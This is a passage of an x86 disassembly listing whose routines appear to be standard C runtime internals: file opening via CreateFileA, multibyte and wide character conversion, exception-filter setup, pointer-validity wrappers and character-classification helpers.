ecx cmp [ebp+var_48], 400h jg short loc_429FAC cmp [ebp+var_48], 400h jz short loc_429FC9 cmp [ebp+var_48], 200h jg short loc_429FA1 cmp [ebp+var_48], 200h jz short loc_429FE4 cmp [ebp+var_48], 0 jz short loc_429FC9 cmp [ebp+var_48], 100h jz short loc_429FD2 jmp short loc_429FF6 ; --------------------------------------------------------------------------- loc_429FA1: ; CODE XREF: sub_429E30+155j cmp [ebp+var_48], 300h jz short loc_429FED jmp short loc_429FF6 ; --------------------------------------------------------------------------- loc_429FAC: ; CODE XREF: sub_429E30+143j cmp [ebp+var_48], 500h jz short loc_429FDB cmp [ebp+var_48], 600h jz short loc_429FE4 cmp [ebp+var_48], 700h jz short loc_429FDB jmp short loc_429FF6 ; --------------------------------------------------------------------------- loc_429FC9: ; CODE XREF: sub_429E30+14Cj ; sub_429E30+164j mov [ebp+var_18], 3 jmp short loc_42A014 ; --------------------------------------------------------------------------- loc_429FD2: ; CODE XREF: sub_429E30+16Dj mov [ebp+var_18], 4 jmp short loc_42A014 ; --------------------------------------------------------------------------- loc_429FDB: ; CODE XREF: sub_429E30+183j ; sub_429E30+195j mov [ebp+var_18], 1 jmp short loc_42A014 ; --------------------------------------------------------------------------- loc_429FE4: ; CODE XREF: sub_429E30+15Ej ; sub_429E30+18Cj mov [ebp+var_18], 5 jmp short loc_42A014 ; --------------------------------------------------------------------------- loc_429FED: ; CODE XREF: sub_429E30+178j mov [ebp+var_18], 2 jmp short loc_42A014 ; --------------------------------------------------------------------------- loc_429FF6: ; CODE XREF: sub_429E30+16Fj ; sub_429E30+17Aj ... call sub_4224D0 mov dword ptr [eax], 16h call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_42A014: ; CODE XREF: sub_429E30+1A0j ; sub_429E30+1A9j ... mov [ebp+var_28], 80h mov edx, [ebp+arg_4] and edx, 100h test edx, edx jz short loc_42A065 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] add ecx, 4 mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] mov eax, [edx-4] mov [ebp+var_10], eax mov [ebp+var_2C], 0 mov ecx, dword_4DDF80 not ecx mov edx, [ebp+var_10] and edx, ecx and edx, 80h test edx, edx jnz short loc_42A065 mov [ebp+var_28], 1 loc_42A065: ; CODE XREF: sub_429E30+1F6j ; sub_429E30+22Cj mov eax, [ebp+arg_4] and eax, 40h test eax, eax jz short loc_42A087 mov ecx, [ebp+var_28] or ecx, 4000000h mov [ebp+var_28], ecx mov edx, [ebp+var_34] or edx, 10000h mov [ebp+var_34], edx loc_42A087: ; CODE XREF: sub_429E30+23Dj mov eax, [ebp+arg_4] and eax, 1000h test eax, eax jz short loc_42A09C mov ecx, [ebp+var_28] or ch, 1 mov [ebp+var_28], ecx loc_42A09C: ; CODE XREF: sub_429E30+261j mov edx, [ebp+arg_4] and edx, 20h test edx, edx jz short loc_42A0B3 mov eax, [ebp+var_28] or eax, 8000000h mov [ebp+var_28], eax jmp short loc_42A0C9 ; --------------------------------------------------------------------------- loc_42A0B3: ; CODE XREF: sub_429E30+274j mov ecx, [ebp+arg_4] and ecx, 10h test ecx, ecx jz short loc_42A0C9 mov edx, [ebp+var_28] or edx, 10000000h mov [ebp+var_28], edx loc_42A0C9: ; CODE XREF: sub_429E30+281j ; sub_429E30+28Bj call sub_4294B0 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42A0F5 call sub_4224D0 mov dword ptr [eax], 18h call sub_4224E0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_42A0F5: ; CODE XREF: sub_429E30+2A5j push 0 mov eax, [ebp+var_28] push eax mov ecx, [ebp+var_18] push ecx lea edx, [ebp+var_24] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_34] push ecx mov edx, [ebp+arg_0] push edx call dword_4E03D8 ; CreateFileA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42A141 call dword_4E0350 ; RtlGetLastWin32Error push eax call sub_422430 add esp, 4 mov eax, [ebp+var_14] push eax call sub_429A50 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_42A141: ; CODE XREF: sub_429E30+2ECj mov ecx, [ebp+var_4] push ecx call dword_4E0314 ; GetFileType mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42A181 mov edx, [ebp+var_4] push edx call dword_4E032C ; CloseHandle call dword_4E0350 ; RtlGetLastWin32Error push eax call sub_422430 add esp, 4 mov eax, [ebp+var_14] push eax call sub_429A50 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_42A181: ; CODE XREF: sub_429E30+322j cmp [ebp+var_C], 2 jnz short loc_42A192 mov cl, [ebp+var_38] or cl, 40h mov [ebp+var_38], cl jmp short loc_42A1A1 ; --------------------------------------------------------------------------- loc_42A192: ; CODE XREF: sub_429E30+355j cmp [ebp+var_C], 3 jnz short loc_42A1A1 mov dl, [ebp+var_38] or dl, 8 mov [ebp+var_38], dl loc_42A1A1: ; CODE XREF: sub_429E30+360j ; sub_429E30+366j mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_14] push ecx call sub_4296A0 add esp, 8 mov dl, [ebp+var_38] or dl, 1 mov [ebp+var_38], dl mov eax, [ebp+var_14] sar eax, 5 mov ecx, [ebp+var_14] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov al, [ebp+var_38] mov [edx+ecx+4], al movsx ecx, [ebp+var_38] and ecx, 48h test ecx, ecx jnz loc_42A2DF movsx edx, [ebp+var_38] and edx, 80h test edx, edx jz loc_42A2DF mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz loc_42A2DF push 2 push 0FFFFFFFFh mov ecx, [ebp+var_14] push ecx call sub_426470 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_42A251 call sub_4224E0 cmp dword ptr [eax], 83h jz short loc_42A24C mov edx, [ebp+var_14] push edx call sub_41B6B0 add esp, 4 mov eax, [ebp+var_14] push eax call sub_429A50 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_42A24C: ; CODE XREF: sub_429E30+3FAj jmp loc_42A2DF ; --------------------------------------------------------------------------- loc_42A251: ; CODE XREF: sub_429E30+3EDj mov [ebp+var_30], 0 push 1 lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call sub_41FD80 add esp, 0Ch test eax, eax jnz short loc_42A2A9 movsx eax, [ebp+var_30] cmp eax, 1Ah jnz short loc_42A2A9 mov ecx, [ebp+var_3C] push ecx mov edx, [ebp+var_14] push edx call sub_42E2C0 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_42A2A9 mov eax, [ebp+var_14] push eax call sub_41B6B0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_429A50 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42A33A ; --------------------------------------------------------------------------- loc_42A2A9: ; CODE XREF: sub_429E30+439j ; sub_429E30+442j ... push 0 push 0 mov edx, [ebp+var_14] push edx call sub_426470 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_42A2DF mov eax, [ebp+var_14] push eax call sub_41B6B0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_429A50 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42A33A ; --------------------------------------------------------------------------- loc_42A2DF: ; CODE XREF: sub_429E30+3B0j ; sub_429E30+3C2j ... movsx edx, [ebp+var_38] and edx, 48h test edx, edx jnz short loc_42A32B mov eax, [ebp+arg_4] and eax, 8 test eax, eax jz short loc_42A32B mov ecx, [ebp+var_14] sar ecx, 5 mov edx, [ebp+var_14] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] mov cl, [eax+edx+4] or cl, 20h mov edx, [ebp+var_14] sar edx, 5 mov eax, [ebp+var_14] and eax, 1Fh imul eax, 24h mov edx, dword_4DE320[edx*4] mov [edx+eax+4], cl loc_42A32B: ; CODE XREF: sub_429E30+4B8j ; sub_429E30+4C2j mov eax, [ebp+var_14] push eax call sub_429A50 add esp, 4 mov eax, [ebp+var_14] loc_42A33A: ; CODE XREF: sub_429E30+C2j ; sub_429E30+12Bj ... mov esp, ebp pop ebp retn sub_429E30 endp ; --------------------------------------------------------------------------- off_42A33E dd offset loc_429F1E ; DATA XREF: sub_429E30+E7r dd offset loc_429F27 dd offset loc_429F30 dd offset loc_429F39 dd offset loc_429F42 byte_42A352 db 0 ; DATA XREF: sub_429E30+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A390 proc near ; CODE XREF: sub_420720+127p ; sub_4226D0+40p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4DE420 jb short loc_42A3A2 xor eax, eax jmp short loc_42A3C0 ; --------------------------------------------------------------------------- loc_42A3A2: ; CODE XREF: sub_42A390+Cj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx eax, byte ptr [eax+edx+4] and eax, 40h loc_42A3C0: ; CODE XREF: sub_42A390+10j pop ebp retn sub_42A390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A3D0 proc near ; CODE XREF: sub_4209A0+3CAp ; sub_4209A0+B90p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 8 push offset dword_4DE428 call dword_4E0454 ; InterlockedIncrement cmp dword_4DE424, 0 jz short loc_42A408 push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement push 13h call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42A40F ; --------------------------------------------------------------------------- loc_42A408: ; CODE XREF: sub_42A3D0+18j mov [ebp+var_4], 0 loc_42A40F: ; CODE XREF: sub_42A3D0+36j mov ax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A450 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_42A435 push 13h call sub_41BD20 add esp, 4 jmp short loc_42A440 ; --------------------------------------------------------------------------- loc_42A435: ; CODE XREF: sub_42A3D0+57j push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement loc_42A440: ; CODE XREF: sub_42A3D0+63j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42A3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A450 proc near ; CODE XREF: sub_42A3D0+48p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_42A463 xor eax, eax jmp loc_42A4EC ; --------------------------------------------------------------------------- loc_42A463: ; CODE XREF: sub_42A450+Aj cmp dword_4DE074, 0 jnz short loc_42A49A mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 0FFh jle short loc_42A48B call sub_4224D0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42A4EC ; --------------------------------------------------------------------------- loc_42A48B: ; CODE XREF: sub_42A450+29j mov ecx, [ebp+arg_0] mov dl, byte ptr [ebp+arg_4] mov [ecx], dl mov eax, 1 jmp short loc_42A4EC ; --------------------------------------------------------------------------- loc_42A49A: ; CODE XREF: sub_42A450+1Aj mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 mov ecx, dword_447480 push ecx mov edx, [ebp+arg_0] push edx push 1 lea eax, [ebp+arg_4] push eax push 220h mov ecx, dword_4DE084 push ecx call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42A4D9 cmp [ebp+var_8], 0 jz short loc_42A4E9 loc_42A4D9: ; CODE XREF: sub_42A450+81j call sub_4224D0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42A4EC ; --------------------------------------------------------------------------- loc_42A4E9: ; CODE XREF: sub_42A450+87j mov eax, [ebp+var_4] loc_42A4EC: ; CODE XREF: sub_42A450+Ej ; sub_42A450+39j ... mov esp, ebp pop ebp retn sub_42A450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A4F0 proc near ; DATA XREF: sub_42A550+3o ; .data:00448810o arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx], 0E06D7363h jnz short loc_42A51E mov edx, [ebp+arg_0] mov eax, [edx] cmp dword ptr [eax+10h], 3 jnz short loc_42A51E mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+14h], 19930520h jnz short loc_42A51E call sub_423580 loc_42A51E: ; CODE XREF: sub_42A4F0+Ej ; sub_42A4F0+19j ... cmp dword_4DE1C4, 0 jz short loc_42A545 mov eax, dword_4DE1C4 push eax call sub_42A5F0 add esp, 4 test eax, eax jz short loc_42A545 mov ecx, [ebp+arg_0] push ecx call dword_4DE1C4 jmp short loc_42A547 ; --------------------------------------------------------------------------- loc_42A545: ; CODE XREF: sub_42A4F0+35j ; sub_42A4F0+47j xor eax, eax loc_42A547: ; CODE XREF: sub_42A4F0+53j pop ebp retn 4 sub_42A4F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A550 proc near ; DATA XREF: .data:00437028o push ebp mov ebp, esp push offset sub_42A4F0 call dword_4E02FC ; SetUnhandledExceptionFilter mov dword_4DE1C4, eax pop ebp retn sub_42A550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A570 proc near ; DATA XREF: .data:00437040o push ebp mov ebp, esp mov eax, dword_4DE1C4 push eax call dword_4E02FC ; SetUnhandledExceptionFilter pop ebp retn sub_42A570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A590 proc near ; CODE XREF: sub_4229C0+9Ep ; sub_4231D0+77p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4E0444 ; IsBadReadPtr test eax, eax jz short loc_42A5B4 mov [ebp+var_4], 0 loc_42A5B4: ; CODE XREF: sub_42A590+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A5C0 proc near ; CODE XREF: sub_4231D0+89p ; sub_4231D0+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4E0440 ; IsBadWritePtr test eax, eax jz short loc_42A5E4 mov [ebp+var_4], 0 loc_42A5E4: ; CODE XREF: sub_42A5C0+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A5C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A5F0 proc near ; CODE XREF: sub_4231D0+1E2p ; sub_42A4F0+3Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_0] push eax call dword_4E02F8 ; IsBadCodePtr test eax, eax jz short loc_42A610 mov [ebp+var_4], 0 loc_42A610: ; CODE XREF: sub_42A5F0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A5F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A620 proc near ; CODE XREF: sub_4235EEp push ebp mov ebp, esp push 0Ah call sub_428880 add esp, 4 push 16h call sub_429130 add esp, 4 push 3 call sub_417B10 pop ebp retn sub_42A620 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A640 proc near ; CODE XREF: sub_4236C0+74Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4DE428 call dword_4E0454 ; InterlockedIncrement cmp dword_4DE424, 0 jz short loc_42A678 push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement push 13h call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42A67F ; --------------------------------------------------------------------------- loc_42A678: ; CODE XREF: sub_42A640+18j mov [ebp+var_4], 0 loc_42A67F: ; CODE XREF: sub_42A640+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A6C0 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_42A6A8 push 13h call sub_41BD20 add esp, 4 jmp short loc_42A6B3 ; --------------------------------------------------------------------------- loc_42A6A8: ; CODE XREF: sub_42A640+5Aj push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement loc_42A6B3: ; CODE XREF: sub_42A640+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42A640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A6C0 proc near ; CODE XREF: sub_42A640+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi loc_42A6C6: ; CODE XREF: sub_42A6C0+3Aj cmp dword_447480, 1 jz short loc_42A6F6 cmp dword_447480, 2 jz short loc_42A6F6 push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2" push 0 push 4Fh push offset dword_435718 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_42A6F6 int 3 ; Trap to Debugger loc_42A6F6: ; CODE XREF: sub_42A6C0+Dj ; sub_42A6C0+16j ... xor eax, eax test eax, eax jnz short loc_42A6C6 cmp [ebp+arg_4], 0 jz short loc_42A708 cmp [ebp+arg_8], 0 jnz short loc_42A70F loc_42A708: ; CODE XREF: sub_42A6C0+40j xor eax, eax jmp loc_42A819 ; --------------------------------------------------------------------------- loc_42A70F: ; CODE XREF: sub_42A6C0+46j mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42A72E cmp [ebp+arg_0], 0 jz short loc_42A727 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_42A727: ; CODE XREF: sub_42A6C0+5Dj xor eax, eax jmp loc_42A819 ; --------------------------------------------------------------------------- loc_42A72E: ; CODE XREF: sub_42A6C0+57j cmp dword_4DE074, 0 jnz short loc_42A754 cmp [ebp+arg_0], 0 jz short loc_42A74A mov ecx, [ebp+arg_4] movzx dx, byte ptr [ecx] mov eax, [ebp+arg_0] mov [eax], dx loc_42A74A: ; CODE XREF: sub_42A6C0+7Bj mov eax, 1 jmp loc_42A819 ; --------------------------------------------------------------------------- loc_42A754: ; CODE XREF: sub_42A6C0+75j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42A7DD cmp dword_447480, 1 jle short loc_42A7B0 mov edx, [ebp+arg_8] cmp edx, dword_447480 jl short loc_42A7B0 xor eax, eax cmp [ebp+arg_0], 0 setnz al push eax mov ecx, [ebp+arg_0] push ecx mov edx, dword_447480 push edx mov eax, [ebp+arg_4] push eax push 9 mov ecx, dword_4DE084 push ecx call dword_4E0428 ; MultiByteToWideChar test eax, eax jnz short loc_42A7D6 loc_42A7B0: ; CODE XREF: sub_42A6C0+B7j ; sub_42A6C0+C2j mov edx, [ebp+arg_8] cmp edx, dword_447480 jb short loc_42A7C6 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+1] test ecx, ecx jnz short loc_42A7D6 loc_42A7C6: ; CODE XREF: sub_42A6C0+F9j call sub_4224D0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42A819 ; --------------------------------------------------------------------------- loc_42A7D6: ; CODE XREF: sub_42A6C0+EEj ; sub_42A6C0+104j mov eax, dword_447480 jmp short loc_42A819 ; --------------------------------------------------------------------------- loc_42A7DD: ; CODE XREF: sub_42A6C0+AEj xor edx, edx cmp [ebp+arg_0], 0 setnz dl push edx mov eax, [ebp+arg_0] push eax push 1 mov ecx, [ebp+arg_4] push ecx push 9 mov edx, dword_4DE084 push edx call dword_4E0428 ; MultiByteToWideChar test eax, eax jnz short loc_42A814 call sub_4224D0 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42A819 ; --------------------------------------------------------------------------- loc_42A814: ; CODE XREF: sub_42A6C0+142j mov eax, 1 loc_42A819: ; CODE XREF: sub_42A6C0+4Aj ; sub_42A6C0+69j ... pop edi pop esi pop ebx pop ebp retn sub_42A6C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42A843 push 103h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42A85A ; --------------------------------------------------------------------------- loc_42A843: ; CODE XREF: .data:0042A82Bj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_42A85A: ; CODE XREF: .data:0042A841j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42A890 push 1 mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42A8A5 ; --------------------------------------------------------------------------- loc_42A890: ; CODE XREF: .data:0042A87Bj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 1 mov [ebp-4], eax loc_42A8A5: ; CODE XREF: .data:0042A88Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42A8D0 push 2 mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42A8E5 ; --------------------------------------------------------------------------- loc_42A8D0: ; CODE XREF: .data:0042A8BBj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 2 mov [ebp-4], eax loc_42A8E5: ; CODE XREF: .data:0042A8CEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42A910 push 4 mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42A925 ; --------------------------------------------------------------------------- loc_42A910: ; CODE XREF: .data:0042A8FBj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp-4], eax loc_42A925: ; CODE XREF: .data:0042A90Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42A953 push 80h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42A96A ; --------------------------------------------------------------------------- loc_42A953: ; CODE XREF: .data:0042A93Bj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp-4], eax loc_42A96A: ; CODE XREF: .data:0042A951j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A980 proc near ; CODE XREF: sub_4236C0+105p ; sub_424B80+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42A9A0 push 8 mov eax, [ebp+arg_0] push eax call sub_41FA40 add esp, 8 mov [ebp+var_4], eax jmp short loc_42A9B5 ; --------------------------------------------------------------------------- loc_42A9A0: ; CODE XREF: sub_42A980+Bj mov ecx, [ebp+arg_0] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 8 mov [ebp+var_4], eax loc_42A9B5: ; CODE XREF: sub_42A980+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42A980 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42A9E0 push 10h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42A9F5 ; --------------------------------------------------------------------------- loc_42A9E0: ; CODE XREF: .data:0042A9CBj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 10h mov [ebp-4], eax loc_42A9F5: ; CODE XREF: .data:0042A9DEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42AA23 push 107h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42AA3A ; --------------------------------------------------------------------------- loc_42AA23: ; CODE XREF: .data:0042AA0Bj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_42AA3A: ; CODE XREF: .data:0042AA21j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42AA73 push 157h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42AA8A ; --------------------------------------------------------------------------- loc_42AA73: ; CODE XREF: .data:0042AA5Bj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 157h mov [ebp-4], eax loc_42AA8A: ; CODE XREF: .data:0042AA71j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42AAC3 push 117h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42AADA ; --------------------------------------------------------------------------- loc_42AAC3: ; CODE XREF: .data:0042AAABj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 117h mov [ebp-4], eax loc_42AADA: ; CODE XREF: .data:0042AAC1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_447480, 1 jle short loc_42AB10 push 20h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42AB25 ; --------------------------------------------------------------------------- loc_42AB10: ; CODE XREF: .data:0042AAFBj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 20h mov [ebp-4], eax loc_42AB25: ; CODE XREF: .data:0042AB0Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 80h sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 7Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_447480, 1 jle short loc_42AB75 push 103h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42AB8C ; --------------------------------------------------------------------------- loc_42AB75: ; CODE XREF: .data:0042AB5Dj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_42AB8C: ; CODE XREF: .data:0042AB73j cmp dword ptr [ebp-4], 0 jnz short loc_42ABA1 cmp dword ptr [ebp+8], 5Fh jz short loc_42ABA1 mov dword ptr [ebp-8], 0 jmp short loc_42ABA8 ; --------------------------------------------------------------------------- loc_42ABA1: ; CODE XREF: .data:0042AB90j ; .data:0042AB96j mov dword ptr [ebp-8], 1 loc_42ABA8: ; CODE XREF: .data:0042AB9Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_447480, 1 jle short loc_42ABD5 push 107h mov eax, [ebp+8] push eax call sub_41FA40 add esp, 8 mov [ebp-4], eax jmp short loc_42ABEC ; --------------------------------------------------------------------------- loc_42ABD5: ; CODE XREF: .data:0042ABBDj mov ecx, [ebp+8] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_42ABEC: ; 